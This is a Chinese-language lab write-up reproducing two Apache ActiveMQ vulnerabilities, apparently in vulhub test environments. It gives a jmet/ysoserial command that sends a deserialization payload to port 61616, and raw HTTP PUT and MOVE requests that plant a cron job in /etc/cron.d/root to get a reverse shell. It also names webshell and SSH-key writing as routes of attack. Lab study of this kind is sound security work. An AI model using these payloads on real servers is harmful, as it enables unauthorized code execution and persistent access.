简介:ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中 间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
activemq又称消息队列,即message queue,常用于电商平台的构建中。队列的主要应用于异步处理,应用解耦,流量削锋和消息通讯四个场景中。
ActiveMQ占用两个端口:
61616为工作端口,消息在这个端口进行传输
8161为web console端口
默认账号/密码:admin/admin—>未授权访问
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞利用过程如下:
1.构造(可以使用ysoserial)可执行命令的序列化对象
2.作为一个消息,发送给目标61616端口
3.访问web管理页面,读取消息,触发漏洞
首先下载工具jmet:
git clone https://github.com/matthiaskaiser/jmet.git
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
发送payload:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
进入http://your-ip:8161/admin/browse.jsp?JMSDestination=event点击相应消息
进入容器docker-compose exec activemq bash,可见创建成功
点击消息,结果如下
tips:
1.其中base64 -d 从标准输入中读取已经进行base64编码的内容,解码输出。
2.管道符将前一个命令的输出作为后一个命令的输入。
reference:
https://www.zhihu.com/question/20004877 (分布式/集群概念)
https://www.zhihu.com/question/36048657 (activemq的应用)
https://blog.csdn.net/qinweili751/article/details/80620104 (activemq的应用)
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md
https://blog.csdn.net/forestcell/article/details/54100073
activemq下有三个目录admin(解析jsp),api(解析jsp),fileserver(不解析jsp),其中admin和api需要登录,fileserver无需登录,fileserver是一个restful接口,支持PUT/DELETE/MOVE方法对文件进行操作
漏洞发生在fileserver目录下:
在5.12.x之前的版本存在任意文件写入漏洞。
在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用。(可在conf/jetty.xml中开启)
在5.14.0版本以后,彻底删除了fileserver应用。
利用方式
1.写入webshell
2.写入cron反弹shell或者写入ssh公钥
3.写入jar或jetty.xml等库和配置文件
1.写入webshell,这里我使用curl发送请求进行写入
http://your-ip:8161/admin/test/systemProperties.jsp查看绝对路径
这里讲jsp代码用put请求写入fileserver下的文件中(不解析),再用move请求移到api目录下,如下图可解析
2.写入cron反弹shell
做这个的时候还是遇到挺多问题的,一开始用curl写入的时候发现无法进行换行,之后改用使用burp写入,仍发现在shell命令后会多出一个^M,于是在命令后加了一个#来注释掉^M才成功反弹了shell。
tips:在apache解析漏洞复现时突然想到直接在burp中hex下直接添加一个\x0A就行。
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248
SHELL=/bin/bash
*/1 * * * * root payload #
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
查看cat /var/log/syslog,可以看到cron成功执行
反弹shell成功
写ssh公钥 ssh-keygen -t rsa
reference:
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
https://paper.seebug.org/346/